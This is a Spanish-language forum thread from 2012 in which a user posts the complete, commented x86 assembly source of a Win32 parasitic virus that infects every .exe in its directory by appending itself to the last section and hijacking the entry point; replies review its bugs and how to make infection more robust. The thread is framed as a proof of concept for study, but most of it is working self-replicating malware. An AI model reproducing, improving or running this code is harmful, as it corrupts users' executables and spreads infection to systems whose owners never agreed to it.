elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Virus parasitario (infector de .EXE)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Virus parasitario (infector de .EXE)  (Leído 5,047 veces)
Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Virus parasitario (infector de .EXE)
« en: 29 Abril 2012, 02:45 am »

 Es un PoC de virus para win32 poco original, infecta todos los .exe del directorio añadiendo su código al final de la última sección del ejecutable host.
EDIT: Lo he comentado por completo, porque si no es muy difícil de leer  :D

Código
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4. assume fs:nothing
  5.  
  6. .code
  7. vx_code:
  8. start_vx_code:
  9. call _delta
  10. _delta:
  11. ;Get the delta offset
  12. pop ebp
  13. sub ebp, offset _delta
  14.  
  15. ;MyEntryPoint would be saved
  16. ;in HostEntryPoint if the current
  17. ;file were infected
  18. mov eax, [ebp + HostEntryPoint]
  19. mov [ebp + MyEntryPoint], eax
  20.  
  21. ;Call to _GtGetProcAddress
  22. ;to find out Kernel32 base
  23. ;and GetProcAddress Address
  24. call _GtGetProcAddress
  25. mov [ebp + GtProcAdH], eax
  26. mov [ebp + Kernel32H], edx
  27. call _GtRequiredAPIs
  28.  
  29. _FindFirst:
  30. ;Find first file, loading the parameters
  31. ;according to ebp, delta offset
  32.     lea ebx, [ebp + win32_find_data]
  33.     lea edx, [ebp + filter]
  34.     push ebx
  35.     push edx
  36.     call [ebp + FindFirstFileAH]
  37.  
  38.     ;If it hasn't found any file
  39.     ;return to the host file code
  40.     cmp eax, -1
  41.     jz end_vx
  42.  
  43. ;Else save the Handle in FileHandleFind
  44.     mov [ebp + FileHandleFind], eax
  45.  
  46.     ;And call infect_file to try to infect it
  47.     call infect_file
  48.  
  49.     _FindNext:
  50.  
  51.     ;Load the parameters for FindNextFileA and call it
  52.     lea ebx, [ebp + win32_find_data]
  53.     mov edx, [ebp + FileHandleFind]
  54.     push ebx
  55.     push edx
  56.     call [ebp + FindNextFileAH]
  57.  
  58.     ;If it hasn't found anything else, return
  59.     cmp eax, 00h
  60.     jz end_vx
  61.  
  62.     ;Else try to infect the file
  63.     call infect_file
  64.  
  65.     ;Search more files
  66.     jmp _FindNext
  67. retn
  68.  
  69.  
  70. end_vx:
  71.  
  72. ;If delta offset is 00h
  73. ;the virus is not running on
  74. ;another executable, so exit to OS
  75. cmp ebp, 00h
  76. jnz return
  77. retn
  78. return:
  79. ;Else access to TIB to get
  80. ;the current ImageBase
  81. mov eax, fs:[030h]
  82.           mov eax,[eax + 08h]
  83.  
  84.           ;And add it to MyEntryPoint
  85.           add [ebp + MyEntryPoint], eax
  86.  
  87.           ;To jump
  88. jmp dword ptr[ebp + MyEntryPoint]
  89.  
  90. _procedures:
  91. _GtGetProcAddress:
  92.  
  93. ;To get kernel32 ImageBase
  94. ;Looking at the PEB
  95. mov ebx, fs:[030h]
  96. mov ebx, [ebx + 0ch]
  97. mov ebx, [ebx + 0ch]
  98. mov ebx, [ebx + 00h]
  99. mov ebx, [ebx + 00h]
  100. mov eax, [ebx + 18h]
  101.  
  102. ;To get export table address
  103. mov ebx, [eax + 3Ch]
  104. add ebx, eax
  105. mov ebx, [ebx + 78h]
  106. add ebx, eax
  107.  
  108. ;Save that address
  109. push ebx
  110.  
  111. ;Pointer to AddressOfNames
  112. mov ebx, [ebx + 20h]
  113. add ebx, eax
  114. xor edx, edx
  115. _loop:
  116. ;Each entry of AddressOfNames
  117. ;Is a pointer to one string
  118. ;which has the name of one API
  119. lea esi, [ebp + GpaName]
  120. mov edi, [ebx + edx]
  121. add edi, eax
  122. mov ecx, 0Fh
  123. add edx, 04h
  124. repz cmpsb
  125. jnz _loop
  126. sub edx, 04h
  127.  
  128. ;Divide edx by 2 to use it as
  129. ;an index in AddressOfNameOrdinals
  130. ;(2 bytes by entry)
  131. shr edx, 01h
  132.  
  133. ;Restore ExportTable address
  134. pop ebx
  135.  
  136. ;Access to AddressOfNameOrdinals
  137. mov edi, [ebx + 24h]
  138. add edi, eax
  139.  
  140. ;To get the index that is going
  141. ;to be used in AddressOfFunctions
  142. movzx edx, word ptr[edi + edx]
  143.  
  144. ;Each entry is 4 bytes long
  145. shl edx, 02h
  146.  
  147. ;Load AddressOfFunctions address in edi
  148. mov edi, [ebx + 1Ch]
  149. add edi, eax
  150.  
  151. ;Load GetProcAddress address in edi
  152. mov edi, [edi + edx]
  153. add edi, eax
  154.  
  155. ;edx = Kernel base
  156. ;eax = GetProcAddress address
  157. mov edx, eax
  158. mov eax, edi
  159. retn
  160.  
  161. _GtRequiredAPIs:
  162. ;Source registry points to ApiListH (where the APIs handles will be)
  163. ;Destiny registry points to ApiListN (where the APIs names are)
  164. lea edi, [ebp + ApiListN]
  165. lea esi, [ebp + ApiListH]
  166.  
  167. ;Ebx contains Kernel32 base
  168. mov ebx, [ebp + Kernel32H]
  169. GetAPI_Loop:
  170. ;Push the Kernel base and
  171. ;the API name to get its address
  172. push edi
  173. push ebx
  174. call [ebp + GtProcAdH]
  175.  
  176. ;Save the adress where source registry points
  177. mov [esi], eax
  178.  
  179. ;Find the next API in the list pointed by edi
  180. xor eax, eax
  181. repnz scasb
  182.  
  183. ;Esi points to the next handle to fill up
  184. add esi, 04h
  185.  
  186. ;If it's not the end of the list
  187. ;get the next API, else return
  188. cmp byte ptr[edi], 00h
  189. jnz GetAPI_Loop
  190. retn
  191.  
  192. infect_file:
  193.  
  194. ;VirusHostSize contains the size of the virus
  195. ;plus the size of the host
  196. mov ebx, VirusSize
  197. add ebx, [ebp + win32_find_data.nFileSizeLow]
  198. mov [ebp + VirusHostSize], ebx
  199.  
  200. ;Open the file to read and write on it
  201. ;And shared on reading
  202. push 00h
  203. push 00h
  204. push 03h
  205. push 00h
  206. push 01h
  207. push 0C0000000h
  208. lea ebx, [ebp + win32_find_data.cFileName]
  209. push ebx
  210. call [ebp + CreateFileAH]
  211.  
  212. ;If the file could not be opened
  213. ;jump to end_infect_file to search more files
  214. cmp eax, -1
  215. jz end_infect_file
  216.  
  217. ;Else save the handle in FileHandleCreate
  218. mov [ebp + FileHandleCreate], eax
  219.  
  220. ;Push the file size to the stack and map the file in memory
  221. ;Eax will contain the base address of the mapped file
  222. push [ebp + win32_find_data.nFileSizeLow]
  223. call map_file_in_memory
  224.  
  225. ;Is it an executable file?
  226. cmp word ptr[eax], "ZM"
  227.  
  228. ;Otherwise close the handles and return
  229. jnz close_view
  230.  
  231. ;Ebx contains the address where the PE files
  232. ;header begins
  233. mov ebx, [eax + 3Ch]
  234. add ebx, eax
  235.  
  236. ;If it's not a PE file close the handles and return
  237. cmp word ptr[ebx], "EP"
  238. jnz close_view
  239.  
  240. ;If the file is already infected
  241. ;close the handles and return
  242. cmp dword ptr[eax + 6Ch], "hDyB"
  243. jz close_view
  244.  
  245. ;falignvalue will contain the FileAlignment
  246. ;and salignvalue will contain the SectionAlignment
  247. mov eax, [ebx + 3Ch]
  248. mov [ebp + falignvalue], eax
  249. mov eax, [ebx + 38h]
  250. mov [ebp + salignvalue], eax
  251.  
  252. ;Get the new size of the file
  253. ;that is, the VirusHostSize rounded up
  254. ;to the FileAlignment
  255. push dword ptr[ebp + VirusHostSize]
  256. push dword ptr[ebp + falignvalue]
  257. call _alignment
  258.  
  259. ;And push it to the stack
  260. push eax
  261.  
  262. ;Unmap the file
  263. push [ebp + MappedFile]
  264. call [ebp + UnmapViewOfFileH]
  265. push [ebp + FileHandleMap]
  266. call [ebp + CloseHandleH]
  267.  
  268. ;And map it again with the new size
  269. call map_file_in_memory
  270.  
  271. ;Save the base address of the mapped file
  272. push eax
  273.  
  274. ;Mark the file with the signature ByDh
  275. mov dword ptr[eax + 6Ch], "hDyB"
  276.  
  277. ;Ebx contains the PE header address
  278. mov ebx, [eax + 3Ch]
  279. add ebx, eax
  280.  
  281. ;Save this address
  282. push ebx
  283.  
  284. ;Move to edx the size of optional header
  285. movzx edx, word ptr[ebx + 14h]
  286.  
  287. ;Load in esi the address of the first structure
  288. ;of the PE Section Table
  289. ;(PEHeader + SizeOfOptionalHeader + PEHeaderSize)
  290. lea esi, [ebx + edx + 18h]
  291.  
  292. ;And push it to stack to use it later
  293. push esi
  294.  
  295. ;Move to ecx NumberOfSections
  296. movzx ecx, word ptr[ebx + 06h]
  297.  
  298. ;And push it to stack to use it later
  299. push ecx
  300.  
  301.  
  302. ;Eax = 00h, and it will contain
  303. ;the highest PointerToRawData
  304. xor eax, eax
  305. _SectionsLoop:
  306.  
  307. ;Compare the current biggest pointer
  308. ;with the PointerToRawData of the next section
  309. cmp [esi + 14h], eax
  310.  
  311. ;If it isn't bigger jump to _notbigger
  312. jb _notbigger
  313.  
  314. ;Else save ecx (index of current section) in ebx
  315. ;And move that pointer to eax
  316. mov ebx, ecx
  317. mov eax, [esi + 14h]
  318. _notbigger:
  319.  
  320. ;Esi points to the next section table
  321. add esi, 28h
  322. loop _SectionsLoop
  323.  
  324. ;Eax = NumberOfSections
  325. pop eax
  326.  
  327. ;Subtract ebx from the NumbersOfSections
  328. ;and multiply it by 28h
  329. sub eax, ebx
  330. mov ecx, 28h
  331. mul ecx
  332.  
  333. ;Restore esi (the pointer to the first table)
  334. ;and add eax to make it point to the table which has
  335. ;the highest PointerToRawData
  336. pop esi
  337. add esi, eax
  338.  
  339.  
  340. ;Ebx contains VirtualSize, save it into the stack
  341.   mov ebx, [esi + 08h]
  342.   push ebx
  343.  
  344.   ;New VirtualSize = Old VirtualSize + VirusSize
  345.   add ebx, VirusSize
  346.   mov [esi + 08h], ebx
  347.  
  348.   ;Eax contains the new VirtualSize
  349.   ;Rounded up to FileAlignment
  350.   push ebx
  351.   push [ebp + falignvalue]
  352.   call _alignment
  353.  
  354.   ;That is, it's the new SizeOfRawData
  355.   ;so change it up
  356.   mov [esi + 10h], eax
  357.  
  358. ;ecx = Old VirtualSize
  359. ;ebx = PE Header Address
  360.   pop ecx
  361.   pop ebx
  362.  
  363.   ;Save the EntryPoint of the file
  364.   ;in HostEntryPoint
  365.   mov edx, [ebx + 28h]
  366.   mov [ebp + HostEntryPoint], edx
  367.  
  368.   ;edx = VirtualAddress + VirtualSize
  369.   mov edx, [esi + 0Ch]
  370.   add edx, ecx
  371.  
  372.   ;That is, the new EntryPoint
  373.   ;so change it up
  374.   mov [ebx + 28h], edx
  375.  
  376. ;Save PE Header Address into the stack
  377.   push ebx
  378.  
  379.   ;eax = New VirtualSize + VirtualAddress
  380.   mov eax, [esi + 08h]
  381.   add eax, [esi + 0Ch]
  382.  
  383.   ;Get the new SizeOfImage,
  384.   ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000
  385.   push eax
  386.   push [ebp + salignvalue]
  387.   call _alignment
  388.  
  389.   ;Set the new SizeOfImage
  390.   pop ebx
  391.   mov [ebx + 50h], eax
  392.  
  393. ;Last section characteristics:
  394. ;CODE|EXECUTE|READ|WRITE
  395. or dword ptr[esi + 24h], 0E0000020h
  396.  
  397. ;eax = Base Address of mapped file
  398. pop eax
  399.  
  400. ;ebx = PointerToRawData
  401. mov ebx, [esi + 14h]
  402.  
  403. ;ebx = Base Address + PointerToRawData + Old VirtualSize
  404. lea ebx, [eax + ebx]
  405. add ebx, ecx
  406.  
  407. ;Copy the virus code in the host code
  408. ;esi = beginning of the virus code
  409. ;edi = end of the last section
  410. lea esi, [ebp + start_vx_code]
  411. mov edi, ebx
  412. mov ecx, VirusSize
  413. rep movsb
  414.  
  415.  
  416. ;Close all the handles
  417. jmp close_all
  418.  
  419. _alignment:
  420. ;The formula to align a value is:
  421. ;AlignedValue = [(Value/Alignment)+1]*Alignment
  422.  
  423.  
  424. ;Save the returning address in edi
  425. pop edi
  426.  
  427. ;Get the value to align and the alignment
  428. pop ebx
  429. pop eax
  430.  
  431. xor edx, edx
  432. div ebx
  433. cmp edx, 00h
  434. jz _align
  435. inc eax
  436. _align:
  437. xor edx, edx
  438. mul ebx
  439.  
  440. ;Push the returning address
  441. ;and jump to it
  442. push edi
  443. retn
  444.  
  445. map_file_in_memory:
  446.  
  447. ;esi = returning address
  448. ;edi = mapping size
  449. pop esi
  450. pop edi
  451.  
  452. ;Create the file mapping object
  453. push 00h
  454. push edi
  455. push 00h
  456. push 04h
  457. push 00h
  458. push [ebp + FileHandleCreate]
  459. call [ebp + CreateFileMappingAH]
  460. cmp eax, 00h
  461. jz close_file
  462. mov [ebp + FileHandleMap], eax
  463.  
  464. ;And create a view of the file
  465. ;using the size in edi
  466. push edi
  467. push 0
  468. push 0
  469. push 000F001Fh
  470. push [ebp + FileHandleMap]
  471. call [ebp + MapViewOfFileH]
  472. cmp eax, 00h
  473. jz close_filemap
  474. mov [ebp + MappedFile], eax
  475.  
  476. ;Set the returning address
  477. ;and jump to it
  478. push esi
  479. retn
  480.  
  481.  
  482.  
  483. ;Chain of functions which close the appropiate handles
  484. close_all:
  485. close_view:
  486. push [ebp + MappedFile]
  487. call [ebp + UnmapViewOfFileH]
  488.  
  489. close_filemap:
  490. push [ebp + FileHandleMap]
  491. call [ebp + CloseHandleH]
  492.  
  493. close_file:
  494. push [ebp + FileHandleCreate]
  495. call [ebp + CloseHandleH]
  496.  
  497. end_infect_file:
  498. retn
  499.  
  500.  
  501. _data:
  502. Kernel32H dd ?
  503. GtProcAdH dd ?
  504. GpaName db "GetProcAddress",0
  505. ExitProcessN db "ExitProcess",0
  506.  
  507. ApiListN db "FindFirstFileA",0
  508.             db "FindNextFileA",0
  509.             db "CreateFileA",0
  510.             db "CreateFileMappingA",0
  511.             db "MapViewOfFile",0
  512.             db "CloseHandle",0
  513.             db "UnmapViewOfFile",0
  514.             db 0
  515.    ApiListH:
  516.    FindFirstFileAH dd ?
  517.    FindNextFileAH   dd ?
  518.    CreateFileAH     dd ?
  519.    CreateFileMappingAH dd ?
  520.    MapViewOfFileH dd ?
  521.    CloseHandleH dd ?
  522.    UnmapViewOfFileH dd ?
  523.  
  524.    filter db "*.exe",0
  525.    FileHandleFind dd ?
  526.    FileHandleCreate dd ?
  527.    FileHandleMap dd ?
  528.    MappedFile dd ?
  529.  
  530.    VirusSize equ end_vx_code - start_vx_code
  531.    VirusHostSize dd ?
  532.    falignvalue dd ?
  533.    salignvalue dd ?
  534.    HostEntryPoint dd 0
  535.    MyEntryPoint dd 0
  536.  
  537.    filetime struct
  538.        FT_dwLowDateTime     dd ?
  539.        FT_dwHighDateTime   dd ?
  540.    filetime ends
  541.  
  542.    find_data struct
  543.        dwFileAttributes         dd ?
  544.        ftCreationTime           filetime <?>          
  545.        ftLastAccessTime         filetime <?>
  546.        ftLastWriteTime         filetime <?>
  547.        nFileSizeHigh           dd ?
  548.        nFileSizeLow             dd ?
  549.        dwReserved0             dd ?
  550.        dwReserved1             dd ?
  551.        cFileName               db 512 dup (?)
  552.        cAlternateFileName     db 14 dup  (?)
  553.    find_data ends
  554.  
  555.    win32_find_data         find_data <?>
  556.  
  557. end_vx_code:
  558. end vx_code
  559.  

Agradecería mucho que me comentarais los muchos fallos que seguro hay.

Un saludo!
« Última modificación: 29 Abril 2012, 21:20 pm por Binary_Death » En línea

the_scar

Desconectado Desconectado

Mensajes: 7



Ver Perfil
Re: Virus parasitario (infector de .EXE)
« Respuesta #1 en: 29 Abril 2012, 23:03 pm »

Muy buen virus parasitario colega, jodedor, jodedor...

copiando y pegando en mi radasm, despues lo ejecutare para ver si me optimiza el guindows y me acelera la conexión de ***** que tengo.

En línea

Hay tipos de personas las que conocen el sistema numérico sexagesimal y las que no.
Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Re: Virus parasitario (infector de .EXE)
« Respuesta #2 en: 4 Mayo 2012, 19:44 pm »

Muy buen virus parasitario colega, jodedor, jodedor...

copiando y pegando en mi radasm, despues lo ejecutare para ver si me optimiza el guindows y me acelera la conexión de ***** que tengo.



No es un virus, sólo es un prototipo. Ni jodedor tampoco es, de hecho no hace nada salvo cargarse un par de ejecutables con EOF. Es lo que hay.

Intentaré en los próximos días (o semanas, depende de como vaya de tiempo) hacer uno que se copie en los espacios que hay entre sección y sección debido al alineamiento en disco, y que si no encuentra suficiente espacio en ningún hueco recurrirá a añadirse al final de la última sección, como hace el aquí presente.

Saludos.
« Última modificación: 4 Mayo 2012, 19:46 pm por Binary_Death » En línea

SEL1

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Virus parasitario (infector de .EXE)
« Respuesta #3 en: 15 Mayo 2012, 17:21 pm »

A muy simple vista el codigo tiene muchos bugs, por ejemplo, la marca "PE" no es un WORD es un DWORD. El codigo no usa SEH, y si lo usara en archivos infectados igual caeria porque no soporta NO_SEH ni SafeSEH...

Otra cosa muy extraña es que buscaste la ultima sección mas "alta" haciendo un loop cuando pudiste hacer ((NumberOfSections-1) * sizeof IMAGE_SECTION_HEADER)) y desde IMAGE_NT_HEADERS ir hasta la ultima sección sin ningun loop. Lo otro es que una sección alta en memoria puede estar antes que una mas baja... con algunos trucos. ;) Tampoco necesitabas alinear SizeOfImage, solamente tomar la nueva y alineada VirtualSize y sumarla a la VirtualAddress de la ultima sección.

Luego vere bien el codigo.
En línea

Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Re: Virus parasitario (infector de .EXE)
« Respuesta #4 en: 15 Mayo 2012, 17:38 pm »

El campo PE sí que es un DWORD, pero la cadena PE es un WORD es toda regla, ocupa 2 bytes, por tanto no es un error.

Busqué la sección con un PointerToRawData más grande porque esta es la última sección en disco, y a no ser que el fichero tenga EOF (que es probable y es algo que ya me hicieron notar y arreglaré en otros códigos) funcionará bien.

Usé ese loop porque resulta que no siempre la última estructura IMAGE_SECTION_HEADER es la que tiene el PointerToRawData mayor, aunque suele ser así no es estrictamente cierto en todos los casos, si bien en la mayoría de ellos funcionaría tal como dijiste.

No coloco ningún SEH porque generalmente eso se hacía cuando buscabas la base de kernel32.dll en memoria por el método tradicional, viendo la dirección que pusheo el sistema operativo en la pila para retornar a ella y a partir de ahí retrocediendo hasta encontrar el campo MZ, pero en este caso por cortesía de The Swash uso otro método, de forma que no accedo a memoria que no tenga permisos de lectura.

Aunque sin embargo es muy cierto que no estaría de más ponerle un manejador de excepciones.

El código lo testeé en varios sistemas y en ninguno dio problemas más allá de lo comentado con ejecutables un poco especiales  :P

PD: Falta decir, que si no vigilo con el SizeOfImage me voy a cargar muchísimos ejecutables. De hecho, en un principio me olvidé de eso y petó en cuanto intenté infectar la calculadora xDDD
Un saludo!
« Última modificación: 15 Mayo 2012, 17:40 pm por Binary_Death » En línea

SEL1

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Virus parasitario (infector de .EXE)
« Respuesta #5 en: 15 Mayo 2012, 18:41 pm »

Citar
El campo PE sí que es un DWORD, pero la cadena PE es un WORD es toda regla, ocupa 2 bytes, por tanto no es un error.

La documentación especifica que es un DWORD "PE\0\0" por lo tanto deberías atenerte a lo que dicen los documentos. El otro WORD que no checkeas podría contener cualquier cosa.

Citar
No coloco ningún SEH porque generalmente eso se hacía cuando buscabas la base de kernel32.dll en memoria por el método tradicional, viendo la dirección que pusheo el sistema operativo en la pila para retornar a ella y a partir de ahí retrocediendo hasta encontrar el campo MZ, pero en este caso por cortesía de The Swash uso otro método, de forma que no accedo a memoria que no tenga permisos de lectura.

Pongamoslo así... para comenzar... cuando abrís el archivo y tomas e_lfanew, si el campo contiene un valor invalido que sobrepase el tamaño del mapa: estas muerto.

 
En línea

Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Re: Virus parasitario (infector de .EXE)
« Respuesta #6 en: 15 Mayo 2012, 19:04 pm »

Que no está demás, no, estaría bien añadir un manejador de excepciones, ya dije, siempre hay que ser precavido y pensar que si algo puede salir mal, saldrá mal, pero esto es una prueba de concepto.

Respecto a lo de checkear el otro WORD de PE\0\0, después de hacer algunas comprobaciones, es cierto, mas vale prevenir y comparar todo el DWORD por si acaso  ;)

¡Un saludo y gracias por mirarte el código!

PD: Me temo que si el valor e_lfanew es inválido, a parte de que el fichero está corrompido, no serviría mucho ponerle un SEH, porque podría acceder a cualquier parte y montar un buen lío. Habría que hacer unas comparaciones para ver si está dentro del mapeado del fichero, pero aún así podría ser inválido y apuntar a cualquier offset del fichero, con lo que me lo cargaría también.
En resumen: es bastante fastidiado encontrarse con campos inválidos, pero generalmente no será así porque si no el ejecutable ya de por sí estaría roto.
« Última modificación: 15 Mayo 2012, 19:12 pm por Binary_Death » En línea

The Swash

Desconectado Desconectado

Mensajes: 194


Programmer


Ver Perfil WWW
Re: Virus parasitario (infector de .EXE)
« Respuesta #7 en: 20 Mayo 2012, 08:08 am »

Es cierto, el campo l_fanew apuntará siempre a la cabecera NT_HEADERS, donde el primer campo es PEx00x00, Es necesariamente obligatorio que apunté al inicio con esa "firma". De lo contrario el ejecutable no funcionaría, y si lo hace podría ser una malformación que podría estudiarse, pero comúnmente no!. Ahora Una casualidad es que el campo siempre inicia en un múltiplo de 4 ^^ (NT_HEADERS).

Un saludo.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[BATCH] Infector de DNS v2.0 (Pharming) « 1 2 »
Scripting
Xt3mP 11 11,064 Último mensaje 8 Noviembre 2009, 16:11 pm
por Novlucker
Japón desarrolla un virus informático para localizar y destruir otros virus « 1 2 »
Noticias
wolfbcn 11 7,097 Último mensaje 6 Mayo 2012, 02:08 am
por anonimo12121
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines